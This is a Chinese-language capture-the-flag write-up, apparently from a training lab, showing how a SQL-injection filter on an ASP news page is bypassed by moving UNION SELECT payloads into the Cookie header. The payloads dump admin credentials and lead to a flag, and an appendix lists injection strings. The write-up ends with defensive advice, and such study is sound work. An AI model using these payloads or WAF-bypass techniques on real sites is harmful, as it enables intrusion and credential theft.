第二章:遇到阻难!绕过WAF过滤
字数 1093 2025-08-11 21:26:21
绕过WAF过滤的SQL注入技术详解
0X01 目标站点获取
- 首先需要确定目标站点,本例中为
http://kypt8004.ia.aqlab.cn/ - 目标页面为
shownews.asp,这是一个典型的ASP动态页面
0X02 注入点查找
- 访问目标网站并寻找可能存在SQL注入的页面
- 测试常见注入点参数(如id、name等)
- 本例中通过
id参数进行测试
0X03 WAF检测与绕过
1. 初步检测
- 测试基本注入语句:
and 1=1 - 发现可能存在WAF(Web应用防火墙)拦截
2. 确定回显点
- 使用
order by确定字段数:order by 10返回正常order by 11显示错误- 确定字段数为10
3. WAF绕过技术:Cookie注入
由于GET/POST参数被WAF拦截,采用Cookie注入方式:
工具准备
- 使用ModHeader工具修改请求头
- 下载ModHeader.crx文件
- 将.crx改为.zip并解压
- 将整个文件夹拖入浏览器扩展程序(本例使用火狐浏览器)
注入步骤
- 添加Cookie请求头:
id=171 - 访问目标URL:
http://kypt8004.ia.aqlab.cn/shownews.asp - 确认与直接访问效果相同,说明Cookie注入可行
注入点验证
- 构造Cookie注入payload:
id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin - 页面回显显示字段2,3,7,8,9为可显示位置
0X04 数据查询
获取管理员凭证
构造payload查询admin表的用户名和密码:
id=171+union+select+1,username,password,4,5,6,7,8,9,10+from+admin
- 获取到账号密码:
admin/b9a2a2b5dffb918c - 对密码进行破解(本例中未展示具体破解方法)
0X05 获取flag
- 使用获取的凭证登录后台:
admin/welcome - 成功获取flag:
zkz{welcome-control}
0X06 技术总结
完整渗透流程
- 查找可注入页面(如带参数的动态页面)
- 测试是否存在SQL注入点
- 检测WAF存在并分析拦截规则
- 尝试不同注入方式绕过WAF(本例使用Cookie注入)
- 逐步获取数据库信息
- 获取管理员凭证并破解
- 登录后台获取最终目标
WAF绕过技巧
- 当GET/POST参数被拦截时,尝试:
- Cookie注入
- HTTP头注入
- 其他非标准参数注入
- 使用工具修改请求头(如ModHeader)
- 尝试不同编码方式绕过过滤
防御建议
- 对所有输入参数进行严格过滤,包括Cookie
- 使用参数化查询或ORM框架
- 实施最小权限原则
- 对敏感信息进行加密存储
- 定期进行安全审计和渗透测试
附录:常用注入语句参考
基础检测
and 1=1
and 1=2
'"
字段数探测
order by n
联合查询
union select 1,2,...,n
数据获取
union select 1,column_name,3,...,n from table_name